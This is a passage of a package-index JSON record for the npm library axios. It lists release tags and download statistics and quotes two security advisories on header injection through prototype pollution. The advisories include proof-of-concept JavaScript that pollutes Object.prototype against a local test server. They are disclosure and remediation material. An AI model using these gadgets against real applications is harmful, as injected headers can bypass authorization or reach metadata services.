epos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"5c8095e48329dacaec1f8d43a9b84ed275fbd0ef","kind":"tag","published_at":"2017-04-08T18:51:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.1","html_url":"https://github.com/axios/axios/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"19b794848047e51f5d8689cf48820c986df49d25","kind":"tag","published_at":"2017-04-01T02:29:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.0","html_url":"https://github.com/axios/axios/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.0/manifests"},{"name":"v0.15.3","sha":"4976816808c4e81acad2393c429832afeaf9664d","kind":"tag","published_at":"2016-11-27T21:52:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.3","html_url":"https://github.com/axios/axios/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"3af756049f102be2eebafdbb108f10173380a68d","kind":"tag","published_at":"2016-10-18T01:29:32.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.2","html_url":"https://github.com/axios/axios/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"3f8b128da4ab11e34f0b880381f9395b2ab0e22f","kind":"tag","published_at":"2016-10-15T06:35:21.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.1","html_url":"https://github.com/axios/axios/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"e8c5c49ea2f2cf4fd45eaf81270a6d23546e2c93","kind":"tag","published_at":"2016-10-11T04:39:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.0","html_url":"https://github.com/axios/axios/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"c96348660dacddd32676924d4f1bde535c45fb77","kind":"tag","published_at":"2016-08-27T18:29:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.14.0","html_url":"https://github.com/axios/axios/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.14.0/manifests"},{"name":"v0.13.1","sha":"377efb89aed819ed1cd416b69f057632ad5664a5","kind":"tag","published_at":"2016-07-16T17:13:15.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.13.1","html_url":"https://github.com/axios/axios/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"ff919487e13430098d3da37a37cc04c3f24b59c4","kind":"tag","published_at":"2016-07-13T19:42:23.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.13.0","html_url":"https://github.com/axios/axios/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"4d1269cb4a9773db128f459046b6c4c2a0926859","kind":"tag","published_at":"2016-06-01T05:22:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.12.0","html_url":"https://github.com/axios/axios/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.12.0/manifests"},{"name":"v0.11.1","sha":"2e949495f0177bd4f4faab8ce031aa32bef50f47","kind":"tag","published_at":"2016-05-17T15:59:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.11.1","html_url":"https://github.com/axios/axios/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"82d34ac743022aaf0c4e68650b39d2f7edab73a4","kind":"commit","published_at":"2016-04-27T04:13:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.11.0","html_url":"https://github.com/axios/axios/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"2797f10ea5d2cd963a8e5c80da319848bad9f499","kind":"tag","published_at":"2016-04-21T04:51:56.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.10.0","html_url":"https://github.com/axios/axios/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.10.0/manifests"},{"name":"v0.9.1","sha":"5176623d6c70e9d66c17f7867703a8e9990554bd","kind":"tag","published_at":"2016-01-24T22:18:42.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.9.1","html_url":"https://github.com/axios/axios/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"7ec97dd26b3af7bb0995eef178c4edd8989c3152","kind":"tag","published_at":"2016-01-18T18:19:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.9.0","html_url":"https://github.com/axios/axios/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.0/manifests"},{"name":"v0.8.1","sha":"9a5dec2dc5aef6eaa0bc4f72f714656bcf29dac3","kind":"tag","published_at":"2015-12-15T03:43:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.8.1","html_url":"https://github.com/axios/axios/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"908d12b8ef41af4de5226b7e88eb971798d99207","kind":"tag","published_at":"2015-12-11T19:09:31.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.8.0","html_url":"https://github.com/axios/axios/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"e8136b1f746d87d9ac620cb50c26722db555169a","kind":"tag","published_at":"2015-09-29T06:39:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.7.0","html_url":"https://github.com/axios/axios/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"cd0cd1805434dea0d250d195a466a1236b98e502","kind":"tag","published_at":"2015-09-21T20:20:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.6.0","html_url":"https://github.com/axios/axios/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.6.0/manifests"},{"name":"v0.5.4","sha":"8a4e502e3a76b8e41b2f896e05b92db3c0f543f7","kind":"tag","published_at":"2015-04-08T18:49:23.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.4","html_url":"https://github.com/axios/axios/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"9d31a867166e9224f0c5168d84560abe85868404","kind":"tag","published_at":"2015-04-08T03:01:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.3","html_url":"https://github.com/axios/axios/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"2ce5aa77df30369960924ee70956f6ac0d37a1aa","kind":"tag","published_at":"2015-03-13T23:13:59.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.2","html_url":"https://github.com/axios/axios/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"bd5d9b7258dd27648caddeba8259a4ed020b6724","kind":"tag","published_at":"2015-03-10T20:47:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.1","html_url":"https://github.com/axios/axios/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"fa6c26a0e5eaad5d58071eb39d7afff0c7dc051c","kind":"tag","published_at":"2015-01-23T10:12:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.0","html_url":"https://github.com/axios/axios/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"2d5250ce0ae02ee9f6412f776690d8b99f11fb1e","kind":"tag","published_at":"2014-12-11T07:12:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.2","html_url":"https://github.com/axios/axios/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"789baf3a58b717e270ded37d4416ae25a650d99d","kind":"tag","published_at":"2014-10-15T18:18:33.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.1","html_url":"https://github.com/axios/axios/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"1d6430f667486ca9de390ccec242114b36c41377","kind":"tag","published_at":"2014-10-05T23:54:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.0","html_url":"https://github.com/axios/axios/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"d8f687dc52d6ee5242798ceac34e05f86853250d","kind":"tag","published_at":"2014-09-17T00:33:18.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.3.1","html_url":"https://github.com/axios/axios/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"0f2461a6bb90efdbc54c8c2a234062a24b8222ca","kind":"tag","published_at":"2014-09-16T18:22:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.3.0","html_url":"https://github.com/axios/axios/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.0/manifests"},{"name":"v0.2.2","sha":"f2fd9f7dd3a644ddbd25b4bfe59c86313b24a443","kind":"tag","published_at":"2014-09-15T03:32:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.2","html_url":"https://github.com/axios/axios/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"629c576f23e2983382ff7251a5c18b44249b0d2b","kind":"tag","published_at":"2014-09-12T22:59:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.1","html_url":"https://github.com/axios/axios/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"3b7132ee1b9dffa4927735e49598dcd92836fcb2","kind":"tag","published_at":"2014-09-12T20:05:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.0","html_url":"https://github.com/axios/axios/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"00724fdd0bb5bfa66f466cbf459e590a5d7c0c9d","kind":"tag","published_at":"2014-08-29T23:08:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.1.0","html_url":"https://github.com/axios/axios/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-02T04:16:36.209Z","dependent_packages_count":97210,"downloads":486790339,"downloads_period":"last-month","dependent_repos_count":453457,"rankings":{"downloads":0.003887935462461709,"dependent_repos_count":0.05421205785686046,"dependent_packages_count":0.0009309141248147754,"stargazers_count":0.016811213901066827,"forks_count":0.36346720608576893,"docker_downloads_count":0.01922063869470507,"average":0.07642166102094629},"purl":"pkg:npm/axios","advisories":[{"uuid":"GSA_kwCzR0hTQS1qOHJoLTQ3OWgtY3AzMs4AB7Ng","url":"https://github.com/advisories/GHSA-j8rh-479h-cp32","title":"Axios: Header Injection via Inherited headers After Minimal Interceptor","description":"## Summary\n\nAxios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own `headers` property, `dispatchRequest()` later evaluates `config.headers` and can resolve an inherited `Object.prototype.headers` value. In a process where another vulnerability has polluted `Object.prototype.headers`, axios can send attacker-controlled headers.\n\nAxios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.\n\nThe issue is conditional and should not be described as affecting every interceptor or every request.\n\n## Affected Functionality\n\nAffected:\n\n- Request interceptor chains where an interceptor returns a new ordinary object.\n- Replacement config objects that omit an own `headers` property.\n- `dispatchRequest()` header normalization through `AxiosHeaders.from(config.headers)`.\n\nNot affected:\n\n- Requests whose interceptor preserves an own `headers` property.\n- Interceptors that mutate and return the existing null-prototype config.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/core/dispatchRequest.js` contains:\n\n```js\nconfig.headers = AxiosHeaders.from(config.headers);\n```\n\nThe initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own `headers`, the read can resolve `Object.prototype.headers`.\n\nLocal verification on axios `1.18.1` polluted `Object.prototype.headers = { 'X-Poisoned': 'yes' }`, installed an interceptor that returned `{ url, method, timeout, proxy: false }`, and sent a request. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.headers = { 'X-Poisoned': 'yes' };\n\nconst client = axios.create();\nclient.interceptors.request.use((config) =\u003e ({\n  url: config.url,\n  method: config.method,\n  timeout: config.timeout\n}));\n\nawait client.get(url);\n```\n\nExpected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited `Object.prototype.headers`.\n\n## Workarounds\n\nInterceptors that rebuild config should always set an own `headers` property, for example by preserving `config.headers` or setting `headers: {}`. Mutating and returning the existing merged config also avoids replacing the null-prototype object.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n\n## Summary\n\nAxios 1.17.0 blocks the old `Object.prototype.common` header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits `headers`, `dispatchRequest()` reads inherited `Object.prototype.headers`.\n\nThis allows attacker-controlled headers to be placed on the wire.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- A separate prototype-pollution primitive can write an object to `Object.prototype.headers`.\n- A request interceptor rebuilds config and omits own `headers`.\n\n## Root Cause\n\n`dispatchRequest()` uses:\n\n```js\nconfig.headers = AxiosHeaders.from(config.headers);\n```\n\nIf `config` is a normal object returned by an interceptor and lacks own `headers`, this reads `Object.prototype.headers`.\n\n## Impact\n\nAn attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer(handler);\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\n\nconst server = await start((req, res) =\u003e {\n  hits.push(req.headers);\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype.headers = {\n    'X-Poisoned': 'yes',\n    'If-None-Match': '*'\n  };\n\n  const client = axios.create();\n  client.interceptors.request.use((config) =\u003e ({\n    url: config.url,\n    method: config.method,\n    timeout: config.timeout\n  }));\n\n  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype.headers;\n  await stop(server);\n}\n```\n\nObserved wire headers:\n\n```json\n{\n  \"x-poisoned\": \"yes\",\n  \"if-none-match\": \"*\",\n  \"user-agent\": \"axios/1.17.0\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg\n- https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg\n\u003c/details\u003e\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:35:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32","https://nvd.nist.gov/vuln/detail/CVE-2026-101904","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-j8rh-479h-cp32"],"source_kind":"github","identifiers":["GHSA-j8rh-479h-cp32","CVE-2026-101904"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00428,"epss_percentile":0.34619,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHJoLTQ3OWgtY3AzMs4AB7Ng","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qOHJoLTQ3OWgtY3AzMs4AB7Ng","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHJoLTQ3OWgtY3AzMs4AB7Ng/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00aHF3LXF4Zzgtanh4Ms4AB7Nf","url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2","title":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ 'X-Poisoned': 'yes' });\n\nawait axios.post(url, ['a', 'b'], { adapter: 'fetch' });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated 